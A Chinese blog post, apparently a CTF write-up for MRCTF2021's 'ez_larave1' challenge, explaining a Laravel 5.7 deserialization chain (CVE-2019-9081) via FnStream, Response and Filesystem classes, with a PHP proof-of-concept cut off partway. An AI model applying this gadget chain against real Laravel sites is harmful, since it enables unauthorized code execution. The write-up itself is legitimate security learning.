[MRCTF2021]Web复现ez_larave1

本文详细介绍了Laravel框架中的CVE-2019-9081漏洞,通过对比源码发现了序列化问题。利用此漏洞,通过构造特定的POC,可以触发命令执行。首先,通过Filesystem类的__toString()方法遍历目录找到.axxx.txt文件,然后利用Response类的sendContent()方法回显文件名。由于原漏洞入口被修改,需借助FnStream.php的__destruct()执行PendingCommand.php中的run()方法。最终,给出了两个不同的payload示例,实现漏洞利用。
摘要由CSDN通过智能技术生成

ez_larave1

考察的是Laravel的CVE-2019-9081,影响版本为5.7.x
get到一个新工具:BeyondCompare,用来比较文件差异的,可以比较方便的看出他做了哪些开发

把5.7.x的源码下载下来,比较一下,发现序列化!
有个小绕过,在serialize后随便加一点东西就可以了,比如serializeabc
在这里插入图片描述
与网上的poc不同,他的路由命名为hello了,在hello路由下可以执行反序列化
在这里插入图片描述

在网上找到的cve复现,看到漏洞是在PendingCommand.php出现的,跑去看看
果然有信息
在这里插入图片描述
要读取到这个key,才能进行下一步的操作,得用原生类

下面来构造第一个poc

我们的目的是找出这个.axxx.txt的完整的文件名
在Filesystem这个类里面使用了FilesystemIterator迭代器遍历目录,会把参数里的目录全遍历出来
这样的话我们反序列化的时候去触发这个__toString()方法把参数传进去来遍历当前的目录,就可以遍历到.axxxx.txt了
在这里插入图片描述
当触发了__toString方法后就会返回文件名,那我们就得找一个能把他回显出来的东西

在vendor/symfony/http-foundation里面有个Response.php,这里面有一个方法sendContent
这个方法就会打印出content
在这里插入图片描述
在这里插入图片描述
析构方法
在这里插入图片描述
所以我们可以这样构造一个析构方法,因为前面说了触发了__toSring后会返回文件名
所以我们让:content的值=这个返回的文件名,再去**触发这个sentContent()**就可以把文件名给回显出来了

在原来的cve中,命令的执行会发生在PendingCommand.php的__destruct()里面
但是这题他把&this->run()删除了,那我们就得另寻他路来执行到PendingCommand.php中的run()这个函数了
在这里插入图片描述

看wp知道,预期解里面__destrusct()入口在FnStream.php里面,有个call_user_func()
这里原来是不能反序列化的,出题人注释掉了限制__wakeup()所以这里是可以执行命令的

但是这里是有个问题的,这个call_user_func()只能传入一个参数,那么我们就要考虑利用pop链让他执行某个类内部的方法
至于怎么调用类内部的方法:给这个函数传入一个数组,第一个值是你想调用的类的实例,第二个值是那个类对应的某个方法名
在这里插入图片描述

由于他只会执行$_fn_close,那我们就可以直接定义好$_fn_close进行变量的覆盖,让我们
在这里插入图片描述

所以我们大概需要的东西就已经齐全了,屡一下思路

  • 实例化Filesystem,想办法去触发__toString()方法利用里面的FilesystemIterator原生类
  • 实例化Response类,把实例化Filesystem的对象作为字符串传给Response赋值给content
  • 利用FnStream来执行Response里面的sendContent方法,回显出文件名

poc1

<?php
use Psr\Http\Message\StreamInterface;
namespace GuzzleHttp\Psr7{
   
    class FnStream {
   
        private $methods;
        private static $slots = ['__toString', 'close', 'detach', 'rewind',
            'getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write',
            'isReadable', 'read', 'getContents', 'getMetadata'];
        public $_fn_close;

        public function __construct($obj){
   
            $this->_fn_close = $obj;
        }

        public function __destruct()
        {
   
            if (isset($this->_fn_close)) {
   
                call_user_func($this->_fn_close);
            }
        }



    }
}



namespace Symfony\Component\HttpFoundation{
   
    class Response{
   

        public $content;
        public function __construct($obj)
        {
   
            $this->content = $obj;
        }

        public function sendContent(){
   
            echo $this->content;
            return $this;
        }
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

huamanggg

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值